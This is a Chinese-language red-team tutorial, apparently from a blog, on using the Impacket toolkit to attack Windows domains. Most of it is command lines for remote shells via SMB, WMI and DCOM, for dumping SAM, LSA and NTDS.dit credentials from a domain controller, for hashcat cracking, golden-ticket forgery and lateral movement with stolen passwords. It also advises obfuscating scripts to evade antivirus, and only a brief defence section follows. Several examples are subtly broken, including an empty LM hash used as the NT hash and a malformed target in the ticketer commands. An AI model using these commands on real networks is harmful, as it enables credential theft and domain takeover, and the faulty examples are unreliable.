// 红队渗透 · 2025-05-29

Impacket工具集详解:内网渗透(域渗透)攻击神器

一、引言

在网络安全领域,尤其是渗透测试和红队行动中,Impacket 是一个不可或缺的工具集。它是一个开源的 Python 库,专注于处理网络协议和与 Windows 系统交互,广泛用于域环境渗透、凭据窃取、远程执行和 Kerberos 协议操作。Impacket 的强大之处在于其模块化设计和对多种协议的原生支持,能够高效执行复杂攻击任务,同时保持高度隐蔽性。

本文将全面介绍 Impacket 的背景、安装方法、核心功能、常用脚本、使用场景以及实战案例。


二、Impacket 概述

2.1 什么是 Impacket?

Impacket 是一个由 SecureAuth 公司开发并开源的 Python 库,最初发布于 2013 年,当前由 SecureAuth 和社区共同维护。它主要用于处理网络协议(如 SMB、Kerberos、NTLM、WMI、DCOM 等),提供了一系列脚本和模块,帮助安全研究人员和渗透测试者与 Windows 系统交互。

Impacket 的核心优势包括:

  • 协议支持广泛:支持 SMBv1/v2/v3、Kerberos、NTLM、WMI、DCOM、LDAP 等协议。
  • 模块化设计:提供丰富的 Python 模块,便于开发者定制攻击工具。
  • 跨平台:基于 Python,支持 Windows、Linux 和 macOS。
  • 高度隐蔽:许多脚本无需在目标系统安装额外软件,降低被检测风险。

2.2 Impacket 的应用场景

Impacket 广泛应用于以下场景:

  • 域环境渗透:利用 Kerberos 或 NTLM 协议进行凭据窃取、票据伪造和提权。
  • 远程命令执行:通过 SMB、WMI 或 DCOM 在目标系统执行命令。
  • 凭据提取:从目标系统提取 SAM、LSA 或 NTDS.dit 中的密码和哈希。
  • 协议分析:研究 SMB、Kerberos 等协议的行为和漏洞。
  • 自动化攻击:结合其他工具(如 Metasploit、Cobalt Strike)实现自动化渗透。

三、安装与配置

3.1 环境要求

Impacket 是一个 Python 库,运行环境要求:

  • 操作系统:Linux(推荐 Ubuntu 或 Kali)、Windows 或 macOS。
  • Python 版本:Python 3.6 或以上(推荐 3.8+)。
  • 依赖库:pip、setuptools、pyasn1、pycryptodomex、pyOpenSSL 等。

3.2 安装步骤

以下是在 Kali Linux 上的安装步骤,其他系统类似:

  1. 更新系统和安装依赖:

    sudo apt update && sudo apt upgrade
    sudo apt install python3 python3-pip python3-venv
  2. 克隆 Impacket 仓库:

    git clone https://github.com/SecureAuthCorp/impacket.git
    cd impacket
  3. 安装 Impacket:

    pip3 install .

    或者使用虚拟环境:

    python3 -m venv impacket-env
    source impacket-env/bin/activate
    pip install .
  4. 验证安装:

    python3 -c "import impacket; print(impacket.__version__)"

    输出类似 0.10.0 表示安装成功。

3.3 常见安装问题

  • 依赖缺失:若提示缺少库,使用 pip install -r requirements.txt 安装。
  • 权限问题:在 Linux 上可能需要 sudo 或以 root 运行。
  • Python 版本冲突:确保使用 Python 3.x,检查默认版本(python3 --version)。

四、Impacket 核心功能与脚本详解

Impacket 提供了丰富的脚本,分为 远程执行、Kerberos 协议 和 Windows 密码 三类。以下逐一介绍常用脚本的功能和用法。

4.1 远程执行脚本

这些脚本用于在目标系统上执行命令或获取 Shell,适用于域环境或单机渗透。

1. psexec.py

  • 功能:模仿 Microsoft 的 PSEXEC 工具,通过 SMB 协议和 RemComSvc 服务执行命令,提供交互式 Shell。
  • 用法:
    python3 psexec.py domain/user:password@target_ip
  • 特点:需要管理员权限,依赖 RemComSvc 服务,适合需要稳定 Shell 的场景。
  • 示例:
    python3 psexec.py CORP/user1:Passw0rd@192.168.1.100

2. smbexec.py

  • 功能:类似 psexec.py,但不依赖 RemComSvc,通过 SMB 协议创建临时服务执行命令,输出通过本地 SMB Server 接收。
  • 用法:
    python3 smbexec.py domain/user:password@target_ip
  • 特点:无需目标有可写共享目录,隐蔽性较高。
  • 注意:可能在高安全环境下触发告警。

3. atexec.py

  • 功能:通过 MS-TSCH(任务计划服务)执行命令,支持单次命令执行并获取回显。
  • 用法:
    python3 atexec.py domain/user:password@target_ip "whoami"
  • 特点:无需持久化服务,适合快速执行命令。

4. wmiexec.py

  • 功能:通过 WMI(Windows Management Instrumentation)执行命令,提供半交互式 Shell。
  • 用法:
    python3 wmiexec.py domain/user:password@target_ip
  • 特点:无需安装额外服务,隐蔽性极高,适合域环境。

5. dcomexec.py

  • 功能:通过 DCOM 接口(如 MMC20.Application)执行命令,提供半交互式 Shell。
  • 用法:
    python3 dcomexec.py domain/user:password@target_ip
  • 特点:支持多种 DCOM 接口,灵活性强。

4.2 Kerberos 协议脚本

这些脚本专注于 Kerberos 协议操作,包括票据请求、伪造和提权。

1. GetTGT.py

  • 功能:使用密码、NTLM 哈希或 AES 密钥请求 TGT(票据授予票据),保存为 ccache 格式。
  • 用法:
    python3 GetTGT.py -dc-ip dc_ip domain/user:password
  • 示例:
    python3 GetTGT.py -dc-ip 192.168.1.10 CORP/user1:Passw0rd

2. GetST.py

  • 功能:请求服务票据(Service Ticket),支持模拟用户(-impersonate)。
  • 用法:
    python3 GetST.py -dc-ip dc_ip -spn cifs/target domain/user
  • 特点:支持约束委派和协议转换,适合横向移动。

3. GetUserSPNs.py

  • 功能:查找与用户账户关联的 SPN(服务主体名称),输出 Kerberos 票据的哈希(TGS-REP),兼容 JtR 和 hashcat。
  • 用法:
    python3 GetUserSPNs.py -dc-ip dc_ip domain/user:password

4. ticketer.py

  • 功能:创建金票据(Golden Ticket)或银票据(Silver Ticket),支持自定义 PAC 和属性。
  • 用法:
    python3 ticketer.py -nthash nt_hash -domain-sid domain_sid domain/user
  • 示例:
    python3 ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee domain/CORP

5. raiseChild.py

  • 功能:利用金票据和 ExtraSids 从子域提权到域森林。
  • 用法:
    python3 raiseChild.py -dc-ip dc_ip domain/user:password

4.3 Windows 密码脚本

这些脚本用于从目标系统提取凭据或控制 mimikatz。

1. secretsdump.py

  • 功能:远程 dump SAM、LSA、缓存凭据或 NTDS.dit,提取 NTLM 哈希、明文密码和 Kerberos 密钥。
  • 用法:
    python3 secretsdump.py domain/user:password@target_ip
  • 特点:支持多种技术(如注册表读取、VSS 快照),自动还原服务状态。
  • 示例:
    python3 secretsdump.py CORP/user1:Passw0rd@192.168.1.100

2. mimikatz.py

  • 功能:控制远程 mimikatz RPC 服务器,执行复杂凭据提取任务。
  • 用法:
    python3 mimikatz.py domain/user:password@target_ip

五、Impacket 使用场景与实战案例

5.1 场景 1:域环境凭据窃取

目标:从域控制器提取所有用户凭据。 步骤:

  1. 使用 secretsdump.py 连接域控制器:
    python3 secretsdump.py CORP/admin:Passw0rd@192.168.1.10
  2. 输出包含 NTLM 哈希和明文密码,保存到文件:
    python3 secretsdump.py CORP/admin:Passw0rd@192.168.1.10 > creds.txt
  3. 使用 hashcat 破解弱密码哈希:
    hashcat -m 1000 creds.txt rockyou.txt

5.2 场景 2:Kerberos 金票据攻击

目标:伪造域管理员票据,获取域内任意权限。 步骤:

  1. 获取域管理员 NTLM 哈希(使用 secretsdump.py)。
  2. 使用 ticketer.py 创建金票据:
    python3 ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee -domain-sid S-1-5-21-123456789-987654321-123456789 domain/CORP
  3. 注入票据到环境变量:
    export KRB5CCNAME=/path/to/ticket.ccache
  4. 使用 psexec.py 访问域控制器:
    python3 psexec.py -k domain/admin@dc_ip

5.3 场景 3:横向移动

目标:从低权限主机移动到高权限主机。 步骤:

  1. 使用 wmiexec.py 执行命令收集信息:
    python3 wmiexec.py CORP/user:Passw0rd@192.168.1.100 "net user"
  2. 发现管理员凭据后,使用 smbexec.py 登录另一主机:
    python3 smbexec.py CORP/admin:Passw0rd@192.168.1.101

六、Impacket 的高级用法

6.1 自定义开发

Impacket 提供了丰富的 Python 模块,开发者可以基于其构建定制工具。例如:

  • SMB 客户端:使用 impacket.smbconnection 实现文件上传/下载。
  • Kerberos 操作:使用 impacket.krb5 实现自定义票据请求。
  • 示例代码:
    from impacket.smbconnection import SMBConnection
    conn = SMBConnection("target_ip", "target_ip")
    conn.login("user", "password")
    conn.uploadFile("local_file.txt", "C:\\remote_file.txt")

6.2 与其他工具集成

  • Metasploit:结合 auxiliary/scanner/smb 模块扫描 SMB 漏洞,再用 psexec.py 利用。
  • Cobalt Strike:使用 Impacket 脚本补充 Cobalt Strike 的 Kerberos 功能。
  • SQLMap:结合 SQL 注入结果,使用 secretsdump.py 提取数据库凭据。

七、注意事项与防御建议

7.1 使用注意事项

  • 权限要求:许多脚本需要管理员权限,需提前确认目标权限。
  • 防火墙:Windows 防火墙可能阻止 SMB/WMI 连接,需检查端口(445、135 等)。
  • 杀软检测:部分脚本(如 psexec.py)可能触发杀毒软件告警,建议混淆或使用 wmiexec.py。
  • 日志记录:域控制器会记录 Kerberos 和 SMB 操作,需注意隐蔽性。

7.2 防御建议

  • 最小权限原则:限制服务账户权限,禁用不必要的管理员账户。
  • 监控日志:关注 Event ID 4624(登录)、4672(权限分配)等日志。
  • 禁用不必要协议:关闭 SMBv1,限制 WMI 和 DCOM 访问。
  • 定期更新:修补已知漏洞(如 EternalBlue),保持系统更新。

八、总结

Impacket 是网络安全领域最强大的工具集之一,其对 Windows 协议的深度支持和灵活性使其成为渗透测试的必备工具。本文从背景、安装、脚本详解到实战案例,全面介绍了 Impacket 的功能和用法。通过学习和实践,你可以掌握 Impacket 在域渗透、凭据窃取和横向移动中的应用。

原文 https://blog.csdn.net/2301_79518550/article/details/147621739